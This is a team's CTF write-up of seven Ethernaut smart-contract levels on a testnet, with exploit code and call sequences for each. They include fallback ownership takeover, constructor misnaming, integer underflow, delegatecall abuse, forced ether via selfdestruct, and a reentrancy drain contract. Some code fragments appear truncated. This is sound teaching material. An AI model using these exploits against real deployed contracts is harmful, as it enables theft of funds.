The Ethernaut CTF Writeup

Zeppelin Solutions invited everybody to participate in their smart contract CTF competition called “The Ethernaut” which started together with the annual DevCon 3 conference held in Cancun. First five contestants to solve all tasks shared the prize pool of 10000$.

For each task the Ethernaut bot created a contract on Ropsten testnet. At we could not miss a chance to take part in the CTF, so here is our writeup for the seven tasks presented to the contestants.

0. Hello Ethernaut

The first task was designed to get comfortable with the CTF and contract interaction. In Chrome Dev Tools you were welcomed with shiny ASCII graphics:

After the first contract was deployed, you needed to call info() method, which instructed about the further steps: “You will find what you need in info1().”. Calling info1() told us: “Try info2(), but with “hello” as a parameter.”, which then required the following sequence of calls:

  • contract.info2(“hello”) → The property infoNum holds the number of the next info method to call.
  • contract.infoNum() → 42
  • contract.info42() → theMethodName is the name of the next method.
  • contract.theMethodName() → The method name is method7123949.
  • contract.method7123949() → If you know the password, submit it to authenticate().

At this point we needed to get the password for the authenticate() function. We got the password by analyzing the contract memory in Remix debugger.

However, it could be done easier by just calling contract.password() which yielded the value “ethernaut0”. After authenticating with this password we successfully proceeded to the next task.

1. Fallback

To beat this level one needed to become the contract owner and drain its balance. It had the function withdraw() which could transfer all the balance to the caller but it was restricted only to the owner. Surprisingly the fallback function could make us contract owner:

function() payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;

As you may know fallback function is called every time a contract receives ether or an unknown method is called. Thus, by sending ether to the contract we could trigger fallback function, however require() statement would not let us become the owner as “contributions” mapping had zero value for our address. In order to increase our contribution we just needed to call the corresponding method:

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;

The task could be solved with the following sequence of calls:

  1. contract.contribute({value: 100})
  2. contract.sendTransaction({value: 100})
  3. contract.withdraw()

2. Fallout

In order to solve this task one needed to set oneself as contract owner. If you looked closely at the constructor name you could easily spot the problem: letter “l” in contract name “Fallout” was changed for digit “1” in constructor name which means that pseudo-constructor was never executed. That is why it was possible to call function “Fal1out” and effectively set yourself as the contract owner. Submitting solution to the Ethernaut bot got us to the next task.

3. Token

The task was about a classic integer underflow. The transfer() method did not check that the current user balance is bigger than supplied value. Thus, by calling the method with any address as the argument and supplying any amount of ether with that call we could make our balance as big as 2**256 which was the task goal.

4. Delegation

The name of the task implied the connection with the notorious Parity hack. Indeed, the fallback function had the code that looked familiar:

function() {
if(delegate.delegatecall( {

The difference between a normal call and delegatecall is that the latter passes the current context to the target method call, which means that in delegated method msg.sender will point to the original sender and not the caller contract. The second point is that this fallback function passes user supplied to delegatecall, allowing to basically call any function within delegate contract if we supply the correct method signature. The goal was to call the “pwn” method which could change the owner:

function pwn() {
owner = msg.sender;

In order to call this function we needed to figure out its signature which could be calculated as follows:

web3.sha3("pwn()").slice(0, 10) // 0xdd365b8b

Sending these 4 bytes in “data” field of the ether transfer transaction made us the owner and allowed to proceed to the next task.

5. Force

The vulnerable contract had no code at all but featured a cool ASCII cat:

pragma solidity ^0.4.0;
contract Force {/*
/\_/\ /
____/ o o \
/~____ =ø= /

The goal of the task was to make the contract balance bigger than zero. Since there was no payable fallback function, we could not send ether directly. However, with selfdestruct() builtin function it is possible to send ether even if there are no payable functions. The purpose of this function is to delete the contract from the blockchain. When it is executed it sends the contract balance to the address that is supplied in the first argument.

In order to solve the task we created the following exploit contract:

contract Suicide {
function Suicide() payable {

Having been deployed with initial balance of 1 wei, it immediately removed itself from the blockchain and sent its balance to the Force contract, which happily accepted our transfer.

6. Re-entrancy

As it is clear from the task name, the goal was to exploit a reentrancy vulnerability and drain the contract balance. The same vulnerability affected the DAO which resulted in 50 million dollar theft.

The relevant piece of code was as follows:

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if( {
balances[msg.sender] -= _amount;

As it is quite evident, the code is vulnerable because balance deduction is done after ether transfer is made. When ether is sent to some address, it may be a contract address and its fallback function will be triggered. In this function it is possible to recursively call withdraw() method again provided that there is enough gas. It looks like this:

Our exploit contract firstly made a deposit and then successfully drained the contract balance by triggering the recursive chain of withdraw() calls via fallback function:

import './Reentrance.sol';
contract Exploit {
address target = 0x2bd292597661ef87e2045c474de35851eb5a65f2;
Reentrance c;
    function Exploit() {
c = Reentrance(target);
    function attack() payable {
c.donate.value(0.1 ether)(this);
c.withdraw(0.1 ether);
    function() payable {
c.withdraw(0.1 ether);

Having submitted the final solution, we were congratulated with the fancy message:

We finished second overall (0x949db1e44b7762683d1cf947d2b3c2358bd7434a), 7 minutes behind the first submitter. We would like to thank Zeppelin Solutions for the great tasks and the contribution they are making towards secure smart contract development. If your ICO needs professional security assessment & protection, do not hesitate to contact